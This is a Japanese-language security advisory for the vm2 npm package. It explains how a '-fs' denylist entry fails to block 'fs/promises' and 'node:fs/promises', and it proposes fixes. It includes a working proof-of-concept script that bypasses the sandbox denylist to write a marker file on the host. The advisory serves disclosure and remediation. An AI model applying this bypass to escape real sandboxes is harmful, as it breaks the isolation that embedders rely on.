vm2: NodeVMの組み込み機能におけるdenylistの回避。`-fs`オプションが指定されているにもかかわらず、`fs/promises`へのアクセスが可能となり、ホストファイルシステムへの書き込みが可能になる。
## 概要
NodeVMの組み込みワイルドカードポリシーにより、サンドボックス化されたコードが、埋め込み側が`fs`へのアクセスを拒否している場合でも、`fs/promises`にアクセスできるようになる可能性がある。
以下の設定の場合:
```js
require: {
builtin: ['*', '-fs', '-child_process']
}
```
`require('fs')`および`require('child_process')`はブロックされるが、`require('fs/promises')`および`require('node:fs/promises')`は引き続き利用可能である。これにより、サンドボックス化されたコードが、PromiseベースのファイルシステムAPIを通じて、ホストファイルシステムにファイルを作成および書き込むことができる。
## 影響を受けるモード
NodeVM。
## 影響を受ける設定
```js
new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
```
これは、ユーザーが`-fs`のような否定的な組み込みエントリに依存してファイルシステムへのアクセスを拒否し、同時に`'*'`組み込みワイルドカードを使用している設定に影響を与える。
## 影響を受けるファイル/関数
- `lib/builtin.js`
- `DANGEROUS_BUILTINS`
- `BUILTIN_MODULES`
- `makeBuiltinsFromLegacyOptions`
- `addDefaultBuiltin`
- `lib/resolver.js`
- `Resolver.resolve`
- `Resolver.loadBuiltinModule`
- `lib/setup-node-sandbox.js`
- `requireImpl`
## 根本原因
`lib/builtin.js`は、Nodeの組み込みモジュールリストから`BUILTIN_MODULES`を構築し、危険なモジュールまたはデフォルトで拒否されるモジュールをフィルタリングする。ワイルドカードモードでは、否定的なエントリは正確な名前でチェックされる:
```js
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
```
これは、`-fs`が、正確に`fs`という名前の組み込みモジュールのみを削除することを意味する。`fs/promises`のような組み込みサブパスは削除されない。
また、`node:`プレフィックスの扱いが不統一である。`require('node:fs/promises')`は、同じ組み込み機能を通じて解決されるが、`-node:fs/promises`のような否定的なエントリは、`require('fs/promises')`をブロックしない。
## セキュリティ境界の侵害
サンドボックス化されたコードは、埋め込み側が`fs`へのアクセスを拒否しているにもかかわらず、ホストファイルシステムへの書き込みを実行できる。
## 影響
確認された影響:
- ホストファイルシステムのファイル作成
- ホストファイルシステムのファイル書き込み
この検証では、`fs/promises.writeFile()` を使用して、マーカー文字列を含む無害な一時ファイルを作成します。
`fs/promises` で利用可能なその他の API には、ファイルシステム操作である `cp`、`mkdir`、`rename`、`rm`、`rmdir`、`truncate` などがあります。これらのAPIは、検証において破壊的な方法で使用されていません。
## 安全なローカルでの再現
Node.js `v24.14.0` でテスト済み。
この検証は、OS コマンドを実行せず、破壊的なファイルシステム操作を使用しません。一時的な検証ファイルを作成し、マーカーを検証した後、ファイルを削除します。
```js
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');
const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;
try {
fs.unlinkSync(proofPath);
} catch (_) {}
(async () => {
const vm = new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
const result = await vm.run(`
module.exports = (async () => {
const r = {};
try {
require('fs');
r.fsLoaded = true;
} catch (e) {
r.fsBlocked = true;
r.fsError = e && e.code;
}
try {
require('child_process');
r.childProcessLoaded = true;
} catch (e) {
r.childProcessBlocked = true;
r.childProcessError = e && e.code;
}
const fsp = require('fs/promises');
r.fsPromisesLoaded = true;
r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();
await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
r.wrote = true;
return r;
})();
`);
const exists = fs.existsSync(proofPath);
const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;
console.log(JSON.stringify({
result,
hostFileExists: exists,
hostFileContent: content
}, null, 2));
```
```
try {
fs.unlinkSync(proofPath);
} catch (_) {}
})().catch(error => {
try {
fs.unlinkSync(proofPath);
} catch (_) {}
console.error(error);
process.exitCode = 1;
});
```
観察された結果:
```json
{
"result": {
"fsBlocked": true,
"fsError": "ENOTFOUND",
"childProcessBlocked": true,
"childProcessError": "ENOTFOUND",
"fsPromisesLoaded": true,
"wrote": true
},
"hostFileExists": true,
"hostFileContent": "vm2-fs-promises-marker-<pid>"
}
```
追加のローカルチェック:
- `require('node:fs/promises')` もロードされ、証明ファイルを書き込むことができます。
- `-fs/promises` を追加すると、`require('fs/promises')` がブロックされます。
- `-node:fs/promises` のみを追加しても、`require('fs/promises')` はブロックされません。
## 期待される安全な動作
組み込みシステムが `fs` を拒否した場合、NodeVM は、以下のものを含む、ファイルシステム関連のすべての組み込み機能を拒否する必要があります。
- `fs`
- `fs/promises`
- `node:fs`
- `node:fs/promises`
`node:` の有無にかかわらず、許可/拒否のエントリは、一貫して正規化される必要があります。
## 提案される修正
1. 許可/拒否のチェックを行う前に、組み込み機能の名前を正規化します。
- 比較のために、`node:` を削除します。
- 内部的には、1つの標準的なキー形式を使用します。
2. 組み込み機能の拒否エントリを、適切な場合は、関連する機能全体の拒否として扱います。
- `-fs` は `fs/promises` をブロックする必要があります。
- `-inspector` は、概念的には `inspector/promises` をブロックします。ユーザーが提供する拒否エントリにも、同様のファミリーロジックを適用します。
3. 以下の内容について、回帰テストを追加します。
- `builtin: ['*', '-fs']` は `fs/promises` をブロックします。
- `builtin: ['*', '-fs']` は `node:fs/promises` をブロックします。
- `-node:fs/promises` と `-fs/promises` は、同じように動作します。
- 明示的な許可リストの動作は、ドキュメントに記載され、テストでカバーされます。
影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響あり <= 3.11.6、3.11.7 で修正済み
```